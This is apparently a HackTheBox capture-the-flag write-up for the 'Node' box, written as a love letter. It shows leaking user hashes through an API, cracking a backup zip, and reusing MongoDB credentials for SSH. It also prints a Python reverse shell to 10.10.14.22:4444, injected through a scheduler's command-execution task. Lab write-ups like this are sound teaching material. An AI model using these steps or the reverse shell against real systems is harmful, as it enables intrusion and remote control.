Node was a special box for me. It was a special box because it was my first “first blood”, and thus got me truly addicted to hackthebox. In light of this, I’m going mix things up and bit and make the following writeup a “love” note to Node:

Oh, Node, it has been some time since we last spoke. It’s been a while since my sweet TCP packets, probed your open ports.

[email protected] ~# nmap -p- -T4 node.htb
3000/tcp    open  

You rebuffed my attempts on 80. On 8080, 443, and more. But you invited me into your space, into yourplace, into port 3000. Yes, you did.

I dug into your deepest secrets. And into the APIs which b(urp)equeathed your user sequence. I saw you clearly, inside and out; cut through your defences: turned /api/users/latest to /api/users and saw your shy response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 611
ETag: W/"263-mJMXKDfX6c4pdWF3bLjHuBIvsM0"
Date: Wed, 07 Mar 2018 13:51:16 GMT
Connection: close

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

Were these your past lovers? I cared not. But an admin flag, is an admin flag, and must be followed. Its hash looked weak. Indeed, it was. “manchester”.

With each keystroke, we grew closer m.y.P.1.4.c.e.A.d.m.1.n.A.c.c.0.u.N.T. m.a.n.c.h.e.s.t.e.r.

You offered me your memories encoded in mystery. I was undeterred.

[email protected] ~/Downloads# base64 -d myplace.backup > myplace.what
[email protected] ~/Downloads# file myplace.what
myplace.what: Zip archive data, at least v1.0 to extract

But still, you resisted me.

[email protected] ~/Downloads# unzip myplace.what
Archive:  myplace.what
  creating: var/www/myplace
[myplace.what] var/www/myplace/package-lock.json password:
[email protected] ~/Downloads# fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.what
PASSWORD FOUND!!!!: pw == magicword
[email protected] ~/Downloads# unzip -P magicword myplace.what
[email protected] ~/Downloads# head -n 11 var/www/myplace/app.js | tail -n 1
const url        = 'mongodb://mark:[email protected]:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

Who was this mark? I wondered. What boundries had you let him pass? Nevermind. I had his secret, and he made a mistake, leaving this behind.

[email protected] ~# ssh [email protected]
[email protected] ~$

Node. My sweet Node. I felt so close to you. We were separated by miles and miles, but I could feel your circuits responding to my touch. I explored every inch of you, and found a special spot:

[email protected] ~# ps aux
...
tom     1426    0.0 5.1 1009080 31096   ?   ?   Ssl Mar04   0:31    /usr/bin/node /var/scheduler/app.js
...
[email protected]:~$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:[email protected]:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

You accepted me, and I inserted my hopes and dreams….

[email protected] ~$ cat << EOM > /tmp/over.py
> import socket,subprocess,os
> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> s.connect(('10.10.14.22',4444))
> os.dup2(s.fileno(),0)
> os.dup2(s.fileno(),1)
> os.dup2(s.fileno(),2)
> p=subprocess.call(['/bin/sh','-i'])
> EOM
[email protected] ~$ mongo
> use scheduler
switched to db scheduler
> db.auth("mark","5AYRft73VtFpc84k")
1
> db.tasks.insert({"_id": 1, "cmd":"python /tmp/over.py"})
WriteResult({ "nInserted" : 1 })

…and I tasted your luscious blood.

[email protected] ~# nc -lvvvp 4444
$ whomai
tom

You still had more secrets to find, like /usr/local/bin/backup. In reversing it, I unziped your last garment - unveiling your inner soul, root.txt, in whole. You were so beautiful, so clever, and so true. How I loved your mysteries – unfortunately, there were more boxes to do.

your dearest, overcast

p.s. if you’d like to know how /usr/local/bin/backup fell to my wiles, look to ltrace

fin